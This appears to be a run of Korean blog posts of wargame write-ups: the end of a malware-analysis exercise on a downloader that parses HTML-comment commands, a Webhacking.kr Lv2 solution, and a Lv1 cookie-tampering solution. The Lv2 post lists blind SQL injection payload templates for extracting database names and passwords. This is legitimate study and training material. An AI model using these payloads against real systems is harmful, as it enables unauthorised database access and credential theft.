② InternetOpenUrlA : FTP or HTTP URL이 명시하는 위치로 핸들 얻기

③ InternetReadFile : InternetOpenUrlA를 통해 얻은 핸들을 이용하여 데이터를 읽음

④ InternetCLoseHandle : 오픈한 핸들 닫기

 

해당 프로그램이 어떤 결과를 도출하는지 알아내기 위해 OllyDbg를 통해 살펴봅니다.

본래 InternetOpenUrlA API를 호출하여 연결에 성공하면 EAX 레지스터에

URL에 대한 올바른 핸들값이 리턴되지만, 성공하지 못하면 NULL 값이 리턴됩니다. 

 

이후 "Error 2.1: Fail to OpenUrl" 문자열을 출력하고 InternetCloseHandle API를 이용하여 핸들을 닫습니다.

 

하지만, 해당 프로그램이 연결에 성공했다면 어떻게 되었을까요?

InternetReadFile API를 이용하여 데이터를 읽었을겁니다.

이후에 if문을 통해 buffer의 값을 비교하기 시작합니다.

 

buffer의 값을 1씩 올리면서 비교하는 구문은 OllyDbg를 통해 보면 아래와 같습니다.

같지 않을 경우 무조건 0x0040111D로 분기하는 것이 else 구문을 표현하는 것이었군요.

 

물론 IDA의 Graph 모드를 통하면 좀더 직관적으로 알 수 있습니다.

하지만 이부분도 Hex-ray 기능이 없었다면 파악하기 힘들었을 것 같네요.

이러한 패턴을 잘 눈여겨 봐야겠습니다.

  

비교하는 문자열 3Ch와 21h 등을 IDA에서 우클릭을 통해 변환하면

위와 같이 "<!--" 형태의 HTML 주석 문자열임을 알 수 있습니다.

문자열 비교가 성공적(?) 으로 끝나면 5번째 문자열을 AL(1byte 0f EAX) 레지스터에 옮깁니다.

즉 리턴값인거죠.

 

------------------------------------------------------------------------------------------------------------------------------------------

4. 이 서브루틴에서 사용한 코드 구조는 어떤 유형인가?

------------------------------------------------------------------------------------------------------------------------------------------

3번 과정에서 AL에 리턴값을 성공적으로 가져왔다면 어떤 구조로 실행되는지 다시 Main으로 가봅니다.

AL레지스터의 값을 비교하는데 TEST EAX, EAX 명령어를 사용했습니다.

지난번에 Tip에 해당 명령어에 대해 기재했었지만 다시 까먹은 관계로 복습하면

"함수에서 돌아온 이후 수행하는 TEST EAX, EAX 명령어는 두 OP가 모두 0인지 판단" 합니다.

즉 AL에 0이 리턴됐다면 실패한 것이고, 성공했다면 AL에 5번째 문자 1Byte가 할당되어 있겠죠?

 

이후 printf 함수로 "Success: Parsed command is %c\n" 문자열을 출력하고

Sleep 함수를 실행합니다.

여기서 %c 문자는 레지스터 AL에 담긴 1byte 문자입니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

5. 이 프로그램에서 네트워크 기반의 행위가 존재하는가?

------------------------------------------------------------------------------------------------------------------------------------------

① User-Agent 값으로 IE 7.5 를 사용

http://mal...(중략).../cc.htm 을 다운로드

 

------------------------------------------------------------------------------------------------------------------------------------------

6. 이 악성코드의 목적은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

인터넷 연결의 활성 여부를 확인한 이후

특정 User-Agent 를 이용하여 웹페이지 다운을 시도합니다.

해당 웹페이지는 주석으로 시작하며, 파싱에 성공하면 출력 후 종료합니다.

 

 

posted by Red_Message
2016. 7. 30. 10:46 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv2 문제풀이입니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

해당 문제는 홍길동 문제라는 아주 유명한 문제더군요

단서들간의 연관성을 짓기가 매우 어려웠고,

예전에는 힌트가 주어졌다고 했는데, 힌트도 없이 풀면 난이도가 더 상승하겠죠.

 

2번 문제에 접속합니다.

 

1) 첫번째 단서

문제풀이용으로 홈페이지가 구축되어 있습니다.

소스를 살펴보면 첫번째 단서를 얻을 수 있습니다.

아래 하이라이트 처리된 부분을 보면 admin 페이지가 노출되어 있다는 사실입니다.

 

접속해보면 아래와 같은 페이지가 나옵니다. 패스워드를 어떻게 알아낼 수 있을까요?

 

2) 두번째 단서

두번째 단서는 주석처리 되어 있는 시간 값입니다.

 

3) 세번째 단서

세번째는 패스워드가 설정되어 있는 게시글입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

 

이번문제의 핵심은 admin 페이지에 설정되어 있는 time 인자값과

메인 페이지의 주석처리 되어 있는 부분의 연관성입니다.

바로 아래의 time 부분에 Injection 시도가 가능한가? 라는 발상이 문제풀이의 핵심입니다.

 

아마 문제풀이가 아니고 실제 모의해킹을 수행하는 과정이었다면

Burp Suite로 time 인자값에 Injection을 한번쯤 수행해봤겠지만,

인젝션 수행 후에 어떤 값이 바뀌는지 인지하는것 또한 어려웠을겁니다.

 

아래와 같은 간단한 인젝션을 테스트해봅니다.

1) 결과값이 False인 경우 : <!--2070-01-01 09:00:00-->

  

 

2) 결과값이 True인 경우 : <!--2070-01-01 09:00:01-->

  

 

위와 같은 결과값을 이용하여 우리는 Blind SQL Injeciton 공격을 이용할 수 있습니다.

예전에는 테이블명을 Hint로 주었다고 하는데,

힌트없이 진행하려고 시도해봤지만

MySQL 버전이 낮아서 information.schema 를 활용할 수 없는 관계로...

힌트를 참고하여 테이블명 FreeB0aRd, admin 값을 이용하여 인젝션을 시도합니다.

 

주요 쿼리문은 아래와 같이 구성합니다.

----------------------------------------------------------------------------------------------------------------------------------------

MySQL Version : time=1469864699 and substr(version(),1,1) > '5'; PHPSESSID=%s

DB Length : time=1469864699 and substr(length(database()),1,1) = %d; PHPSESSID=%s

DB Name : time=1469864699 and substr(database(),%d,1) = char(%d); PHPSESSID=%s

PW Length : time=1469864699 and (select ascii(substr(password,%d,1)) from FreeB0aRd) = %d; PHPSESSID=%s

PW : time=1469864699 and (select length(password) from FreeB0aRd) = %d; PHPSESSID=%s

첨부파일 >blind.py

----------------------------------------------------------------------------------------------------------------------------------------

 

패스워드를 알아냈다면 암호가 걸려있던 admin 페이지로 갑니다.

매뉴얼 패스워드를 알려줍니다.

 

매뉴얼은 패스워드가 걸려있던 게시글에 첨부되어 있습니다.

압축파일에 암호가 걸려있으며, 매뉴얼 패스워드를 입력합니다.

 

압축을 풀고 열어보면 문제 2번을 클리어할 수 있는 패스워드를 알아낼 수 있습니다.

 

 Tip. Accept-Encoding

 서버로부터의 응답이 인코딩된 문자열로 들어와서 삽질을 했습니다.

 처음에는 이클립스의 인코딩 설정인줄 알고 건드리다가

 응답값에 URL, BASE64 등등의 디코딩을 해봐도 안되더군요...

 

 

 근데 다른분들의 코딩을 살펴봐도 디코딩을 하신분은 없길래 약간 의아했습니다.

 문제는 헤더값을 모두 설정해주겠다고 제가 입력한 Accept-Encoding 입니다.

 

 

 Accept-Encoding은 클라이언트가 웹 서버에게 보내는 HTTP Request 헤더에 들어있는 값으로서

 클라이언트가 해당 인코딩 또는 디코딩할 수 있음을 서버에 알려주는 역할입니다.  

 

 그래서 제가 받은 html문서의 body 부분은 Content-Encoding 에 명시된 gzip으로 인코딩 되었습니다.

 FIddler가 인코딩 되어 있음을 알려주고 있으며, 클릭하면 디코딩할 수 있습니다.

 Tip. MySQL Query (APMSETUP)

 Blind SQL Injection에 사용되는 문법을 보는데 이해가 잘 안되더군요

 확실히 숙지 하지 못하고, 머리속으로 상상하면서 코딩을 했습니다.

 당연히 시간이 지연되고 오류도 많이....하아

 사용되는 문법에 대한 흐름을 간략히 APM Setup에서 테스트해보았습니다.

 APMSETUP 설치경로(C:\APM_Setup\Server\MySQL5\bin)에서 아래와 같이 실행합니다.

 

제가 테스트 해보고 싶었던 부분은 select 뒤에 오는

 

 ascii(substr(password, 1,1)) 부분입니다. (이해가 잘 안되더군요)

 정확한 컬럼명을 입력해야 하는거 아닌가 싶어서요..

 하지만 password 컬럼을 검색한 결과값에서 필터가 적용되는것으로 보입니다.

 

 

 사용한 MYSQL 주요 명령어는 아래와 같습니다.

 - DB생성 : CREATE DATABASE dbname;

 - DB검색 : SHOW DATABASES;

 - DB선택 : USE dbanme;

 - TB검색 : SHOW TABLES;

 

posted by Red_Message
2016. 7. 30. 10:23 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv1 문제풀이입니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

1번 문제로 접속합니다.

아래와 같은 문구 외에는 별다른게 없습니다.

적혀 있는 index.phps 가 힌트인 것 같습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

소스보기를 해봅니다.

index.phps에 onclike 이벤트가 걸려있는것을 확인하고, 클릭합니다. 

 

그럼 아래와 같은 소스를 볼 수 있습니다.

 

간단한 소스코드 해석을 합니다.

 

1) 첫번째 PHP 문단 : 쿠키세팅

$_COOKIE라는 PHP의 슈퍼전역변수를 이용하여 user_lv 변수의 쿠키값을 확인합니다.

처음접속했다면 당연히 없을테니 Cookie값이 1 로 세팅될겁니다.

 

쿠키가 세팅되는 매커니즘을 간단히 메모장으로 테스트해보면 아래와 같습니다.

SetCookie 함수는 다른 함수가 실행되기 이전에 처음에 세팅되어야 하기 때문에

가장 상단에 존재해야 합니다.

 

 

2) 두번째 PHP 문단 : COOKIE값 확인

다시한번 $_COOKIE 변수와 정규표현식 [^0-9,.] 을 비교합니다.

대괄호 안에 있는 ^ 문자의 의미는 "해당 문자열을 제외한 나머지가 있으면 True값입니다."

즉, 저희는 저 대괄호 범위 안에 있는 문자열만 입력 가능하다는 뜻이죠.

이후에는 5 < Clear조건 <=6 을 만족하면 @solve() 함수가 실행되는 내용입니다.

 Tip. ereg 와 eregi

 두개의 함수는 동일 문자열을 검색하는 함수입니다.

 int ereg(string $pattern , string $string [, array &$regs ]) : 대,소문자 구별

 int eregi(string $pattern , string $string [, array &$regs ]) : 대소문자 구별없음

 첫번째 인자인 $pattern은 찾을 문자열이 들어가며,

 두번째 인자인 $string은 대상 문자열이 들어갑니다.

 

이제 문제를 클리어해봅시다.

일단 우리는 접속하자마자 SetCookie() 함수로 인하여 Cookie 값이 1 로 세팅됩니다.

이제 소스코드가 파악이 되었으니 Cooxie 툴바로 Cookie 값만 변경해주면 됩니다.

 

 

다음 레벨로 넘어갑니다!

 

 

posted by Red_Message